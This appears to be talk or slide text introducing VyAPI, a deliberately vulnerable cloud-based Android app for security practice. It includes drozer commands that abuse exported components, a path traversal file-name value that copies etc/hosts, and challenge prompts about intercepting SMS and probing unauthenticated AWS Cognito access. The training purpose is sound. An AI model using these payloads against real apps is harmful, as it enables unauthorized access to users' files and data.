Creator of "VyAPI – A Modern Cloud Based Vulnerable Android App"
Application Security Analyst at Appsecco (@appseccouk)
To provide Android security enthusiasts a platform to practice hacking a cloud-based vulnerable Android app
$ git clone git@github.com:appsecco/VyAPI.git
$ cd VyAPI/
dz> run app.activity.start --component com.appsecco.vyapi com.appsecco.vyapi.MainActivity
dz> run app.service.start --component com.appsecco.vyapi com.appsecco.vyapi.service.PlayMusicService
dz> run app.provider.query content://com.appsecco.vyapi.ContactDBProvider/contacts/ --projection "*"
Can you intercept the secret SMS?
Where is the encryption key?
First, find a Cognito Identity Pool ID
Can unauthenticated users access sensitive AWS services?
E.g., us-east-1:f0e6168e-4865-4890-97e5-489cd6106g83
dz> run app.broadcast.send --action com.appsecco.vyapi.Broadcast --extra string new_file_name dz_file1 --extra string temp_file_path etc/hosts
dz> run app.broadcast.send --action com.appsecco.vyapi.Broadcast --extra string new_file_name ../../../../../../../../../../sdcard/Android/data/com.appsecco.vyapi/files/Pictures/dz_file2 --extra string temp_file_path etc/hosts
What's Visible
What's NOT Visible
VyAPI is a cloud-based vulnerable Android app for Android security enthusisats.
To get started, you need to